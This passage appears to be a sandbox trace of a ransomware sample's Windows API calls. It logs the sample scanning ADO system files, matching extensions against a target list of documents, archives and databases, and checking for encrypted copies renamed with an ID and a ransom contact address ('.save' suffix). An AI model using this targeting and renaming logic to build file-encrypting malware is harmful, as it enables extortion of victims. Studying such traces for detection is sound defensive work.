(lpString1=".dbf", lpString2=".mui") returned -1 [0207.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.258] lstrlenW (lpString=".1cd") returned 4 [0207.258] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.259] lstrlenW (lpString=".jpg") returned 4 [0207.259] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.259] lstrlenW (lpString=".doc") returned 4 [0207.259] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.259] lstrlenW (lpString=".docx") returned 5 [0207.259] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0207.259] lstrlenW (lpString=".pdf") returned 4 [0207.259] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.259] lstrlenW (lpString=".xls") returned 4 [0207.259] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.259] lstrlenW (lpString=".xlsx") returned 5 [0207.259] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0207.259] lstrlenW (lpString=".ppt") returned 4 [0207.259] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.259] lstrlenW (lpString=".zip") returned 4 [0207.259] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.259] lstrlenW (lpString=".rar") returned 4 [0207.259] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.259] lstrlenW (lpString=".bz2") returned 4 [0207.259] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.259] lstrlenW (lpString=".7z") returned 3 [0207.260] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.260] lstrlenW (lpString=".dbf") returned 4 [0207.260] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.260] lstrlenW (lpString=".1cd") returned 4 [0207.260] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.260] lstrlenW (lpString=".jpg") returned 4 [0207.260] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.260] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0207.260] lstrlenW (lpString="msader15.dll") returned 12 [0207.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.261] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=2560) returned 1 [0207.261] CloseHandle (hObject=0x33c) returned 1 [0207.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0207.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.262] lstrlenW (lpString=".doc") returned 4 [0207.262] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.262] lstrlenW (lpString=".docx") returned 5 [0207.262] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0207.262] lstrlenW (lpString=".pdf") returned 4 [0207.262] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.262] lstrlenW (lpString=".xls") returned 4 [0207.262] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.262] lstrlenW (lpString=".xlsx") returned 5 [0207.262] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0207.262] lstrlenW (lpString=".ppt") returned 4 [0207.262] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.262] lstrlenW (lpString=".zip") returned 4 [0207.262] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.262] lstrlenW (lpString=".rar") returned 4 [0207.262] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.262] lstrlenW (lpString=".bz2") returned 4 [0207.262] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.263] lstrlenW (lpString=".7z") returned 3 [0207.263] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.263] lstrlenW (lpString=".dbf") returned 4 [0207.263] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.263] lstrlenW (lpString=".1cd") returned 4 [0207.263] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.263] lstrlenW (lpString=".jpg") returned 4 [0207.263] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.263] lstrlenW (lpString=".doc") returned 4 [0207.263] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.263] lstrlenW (lpString=".docx") returned 5 [0207.263] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0207.263] lstrlenW (lpString=".pdf") returned 4 [0207.263] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.263] lstrlenW (lpString=".xls") returned 4 [0207.263] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.263] lstrlenW (lpString=".xlsx") returned 5 [0207.263] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0207.263] lstrlenW (lpString=".ppt") returned 4 [0207.264] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.264] lstrlenW (lpString=".zip") returned 4 [0207.264] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.264] lstrlenW (lpString=".rar") returned 4 [0207.264] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.264] lstrlenW (lpString=".bz2") returned 4 [0207.264] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.264] lstrlenW (lpString=".7z") returned 3 [0207.264] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.264] lstrlenW (lpString=".dbf") returned 4 [0207.264] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.264] lstrlenW (lpString=".1cd") returned 4 [0207.264] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0207.264] lstrlenW (lpString=".jpg") returned 4 [0207.264] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.264] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0207.265] lstrlenW (lpString="msado15.dll") returned 11 [0207.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.266] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=1233920) returned 1 [0207.266] CloseHandle (hObject=0x33c) returned 1 [0207.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0207.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.266] lstrlenW (lpString=".doc") returned 4 [0207.267] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.267] lstrlenW (lpString=".docx") returned 5 [0207.267] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0207.267] lstrlenW (lpString=".pdf") returned 4 [0207.267] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.267] lstrlenW (lpString=".xls") returned 4 [0207.267] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.267] lstrlenW (lpString=".xlsx") returned 5 [0207.267] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0207.267] lstrlenW (lpString=".ppt") returned 4 [0207.267] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.268] lstrlenW (lpString=".zip") returned 4 [0207.268] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.268] lstrlenW (lpString=".rar") returned 4 [0207.268] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.268] lstrlenW (lpString=".bz2") returned 4 [0207.268] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.268] lstrlenW (lpString=".7z") returned 3 [0207.268] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.268] lstrlenW (lpString=".dbf") returned 4 [0207.268] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.268] lstrlenW (lpString=".1cd") returned 4 [0207.268] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.268] lstrlenW (lpString=".jpg") returned 4 [0207.268] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.268] lstrlenW (lpString=".doc") returned 4 [0207.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.268] lstrlenW (lpString=".docx") returned 5 [0207.268] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0207.268] lstrlenW (lpString=".pdf") returned 4 [0207.269] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.269] lstrlenW (lpString=".xls") returned 4 [0207.269] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.269] lstrlenW (lpString=".xlsx") returned 5 [0207.269] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0207.269] lstrlenW (lpString=".ppt") returned 4 [0207.269] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.269] lstrlenW (lpString=".zip") returned 4 [0207.269] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.269] lstrlenW (lpString=".rar") returned 4 [0207.269] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.269] lstrlenW (lpString=".bz2") returned 4 [0207.269] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.269] lstrlenW (lpString=".7z") returned 3 [0207.269] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.269] lstrlenW (lpString=".dbf") returned 4 [0207.269] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.269] lstrlenW (lpString=".1cd") returned 4 [0207.269] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0207.269] lstrlenW (lpString=".jpg") returned 4 [0207.269] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.270] lstrcmpiW (lpString1=".tlb", lpString2=".save") returned 1 [0207.270] lstrlenW (lpString="msado20.tlb") returned 11 [0207.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.271] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=50688) returned 1 [0207.271] CloseHandle (hObject=0x33c) returned 1 [0207.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0207.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.271] lstrlenW (lpString=".doc") returned 4 [0207.271] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0207.271] lstrlenW (lpString=".docx") returned 5 [0207.271] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0207.272] lstrlenW (lpString=".pdf") returned 4 [0207.272] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0207.272] lstrlenW (lpString=".xls") returned 4 [0207.272] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0207.272] lstrlenW (lpString=".xlsx") returned 5 [0207.272] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0207.272] lstrlenW (lpString=".ppt") returned 4 [0207.272] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0207.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.272] lstrlenW (lpString=".zip") returned 4 [0207.272] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0207.272] lstrlenW (lpString=".rar") returned 4 [0207.272] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0207.272] lstrlenW (lpString=".bz2") returned 4 [0207.272] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0207.272] lstrlenW (lpString=".7z") returned 3 [0207.272] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0207.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.272] lstrlenW (lpString=".dbf") returned 4 [0207.272] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0207.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.272] lstrlenW (lpString=".1cd") returned 4 [0207.272] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0207.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.272] lstrlenW (lpString=".jpg") returned 4 [0207.272] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0207.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.273] lstrlenW (lpString=".doc") returned 4 [0207.273] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0207.273] lstrlenW (lpString=".docx") returned 5 [0207.273] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0207.273] lstrlenW (lpString=".pdf") returned 4 [0207.273] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0207.273] lstrlenW (lpString=".xls") returned 4 [0207.273] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0207.273] lstrlenW (lpString=".xlsx") returned 5 [0207.273] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0207.273] lstrlenW (lpString=".ppt") returned 4 [0207.273] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0207.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.273] lstrlenW (lpString=".zip") returned 4 [0207.273] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0207.273] lstrlenW (lpString=".rar") returned 4 [0207.273] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0207.273] lstrlenW (lpString=".bz2") returned 4 [0207.273] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0207.273] lstrlenW (lpString=".7z") returned 3 [0207.273] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0207.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.274] lstrlenW (lpString=".dbf") returned 4 [0207.274] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0207.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.274] lstrlenW (lpString=".1cd") returned 4 [0207.274] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0207.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0207.274] lstrlenW (lpString=".jpg") returned 4 [0207.274] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0207.274] lstrcmpiW (lpString1=".tlb", lpString2=".save") returned 1 [0207.274] lstrlenW (lpString="msado21.tlb") returned 11 [0207.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.275] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=53760) returned 1 [0207.275] CloseHandle (hObject=0x33c) returned 1 [0207.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0207.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.276] lstrlenW (lpString=".doc") returned 4 [0207.276] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0207.276] lstrlenW (lpString=".docx") returned 5 [0207.276] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0207.276] lstrlenW (lpString=".pdf") returned 4 [0207.276] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0207.276] lstrlenW (lpString=".xls") returned 4 [0207.276] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0207.276] lstrlenW (lpString=".xlsx") returned 5 [0207.276] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0207.276] lstrlenW (lpString=".ppt") returned 4 [0207.276] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0207.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.276] lstrlenW (lpString=".zip") returned 4 [0207.276] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0207.276] lstrlenW (lpString=".rar") returned 4 [0207.276] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0207.276] lstrlenW (lpString=".bz2") returned 4 [0207.276] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0207.276] lstrlenW (lpString=".7z") returned 3 [0207.276] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0207.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.277] lstrlenW (lpString=".dbf") returned 4 [0207.277] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0207.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.277] lstrlenW (lpString=".1cd") returned 4 [0207.277] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0207.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.277] lstrlenW (lpString=".jpg") returned 4 [0207.277] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0207.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.277] lstrlenW (lpString=".doc") returned 4 [0207.277] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0207.277] lstrlenW (lpString=".docx") returned 5 [0207.277] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0207.277] lstrlenW (lpString=".pdf") returned 4 [0207.277] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0207.277] lstrlenW (lpString=".xls") returned 4 [0207.277] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0207.277] lstrlenW (lpString=".xlsx") returned 5 [0207.277] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0207.277] lstrlenW (lpString=".ppt") returned 4 [0207.277] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0207.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.277] lstrlenW (lpString=".zip") returned 4 [0207.278] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0207.278] lstrlenW (lpString=".rar") returned 4 [0207.278] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0207.278] lstrlenW (lpString=".bz2") returned 4 [0207.278] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0207.278] lstrlenW (lpString=".7z") returned 3 [0207.278] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0207.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.278] lstrlenW (lpString=".dbf") returned 4 [0207.278] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0207.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.278] lstrlenW (lpString=".1cd") returned 4 [0207.278] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0207.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0207.278] lstrlenW (lpString=".jpg") returned 4 [0207.278] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0207.278] lstrcmpiW (lpString1=".tlb", lpString2=".save") returned 1 [0207.278] lstrlenW (lpString="msado25.tlb") returned 11 [0207.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.280] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=69632) returned 1 [0207.280] CloseHandle (hObject=0x33c) returned 1 [0207.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0207.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0207.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0207.280] lstrlenW (lpString=".doc") returned 4 [0207.280] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0207.281] lstrlenW (lpString=".docx") returned 5 [0207.281] lstrcmpiW (lpString1=".docx", lpString2="5.tlb") returned -1 [0207.281] lstrlenW (lpString=".pdf") returned 4 [0207.281] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0207.281] lstrlenW (lpString=".xls") returned 4 [0207.281] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0207.281] lstrlenW (lpString=".xlsx") returned 5 [0207.281] lstrcmpiW (lpString1=".xlsx", 